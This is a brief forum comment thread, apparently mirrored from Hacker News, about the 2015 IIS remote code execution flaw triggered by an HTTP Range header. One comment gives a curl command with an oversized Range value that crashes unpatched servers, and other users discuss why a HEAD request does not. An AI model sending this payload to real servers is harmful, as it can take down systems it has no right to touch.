News for hackers. Stuff that matters.

A comment on Remote Kernel Code Execution Via HTTP Request In IIS On Windows. Parent comment

Re:Remote Kernel Code Execution Via HTTP Request In IIS On W... by davman on Wednesday April 15, 2015 @11:57AM (#9381822)
What is also interesting is that if I do this instead:

curl -v http://10.243.0.221/iis-85.png -I -H "Range: bytes=18-18446744073709551615"

(added -I), then it doesn't cause the crash.

[ Parent | on HN ]
Re:Remote Kernel Code Execution Via HTTP Request In IIS On W... by gkop on Wednesday April 15, 2015 @11:59AM (#9381848)
-I sends a HEAD rather than a GET, so that's not too surprising.
[ Parent | on HN ]
Re:Remote Kernel Code Execution Via HTTP Request In IIS On W... by davman on Wednesday April 15, 2015 @12:11PM (#9381942)
Ahh yeah, that should have been obvious. Thanks!
[ Parent | on HN ]